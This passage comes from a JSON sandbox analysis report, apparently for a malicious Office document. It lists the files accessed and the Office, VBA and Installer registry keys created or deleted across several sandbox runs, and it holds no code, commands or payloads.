Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\en-US\\winhttp.dll.mui","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\System32\\en-US\\msxml3r.dll.mui","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\OFFICE14\\PROOF\\MSGR3EN.LEX","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\sendtoonenote.BUD","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\sendtoonenote.gpd","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\SendToOneNoteNames.gpd","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\SendToOneNoteFilter.gpd","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\SendToOneNote.ini","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\1033\\Bibliography\\BibForm.XML","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"C:\\Program Files","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\Bibliography","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\LANGUAGERESOURCES\\ENABLEDLANGUAGES\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\MIGRATION\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\MIGRATION\\WORD\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00002119130000000000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\IMEMIP\\0X0407\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\IMEMIP\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\LICENSING\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\REGISTRATION\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\REGISTRATION\\GPGPW333S6\\{91120000-0031-0000-0000-0000000FF1CE}\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\REGISTRATION\\GPGPW333S6\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\OFFLINE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\OFFLINE\\FILES\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\REVIEWCYCLE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\DOCUMENTRECOVERY\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\DOCUMENTRECOVERY\\1DE330\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\VBA\\6.0\\COMMON\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\VBA\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\VBA\\6.0\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00002109B10070400000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00002109F10070400000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00002109F10090400000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00002109F10001400000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00002109F100C0400000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SHARED TOOLS\\PROOFING TOOLS\\GRAMMAR\\MSGRAMMAR\\3.0\\1033\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SHARED TOOLS\\PROOFING TOOLS\\GRAMMAR\\MSGRAMMAR\\3.0\\1033\\OPTION SET 0\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SHARED TOOLS\\PROOFING TOOLS\\GRAMMAR\\MSGRAMMAR\\3.0\\1033\\OPTION SET 1\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\COMMON\\LICENSING\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\REGISTRATION\\LS9Y30VCK9\\{91120000-0031-0000-0000-0000000FF1CE}\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\REGISTRATION\\LS9Y30VCK9\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\DOCUMENTRECOVERY\\F652A\\","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LANGUAGERESOURCES\\ENABLEDLANGUAGES\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\WORD\\","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\G{#\\G{#","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\|W#\\|W#","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 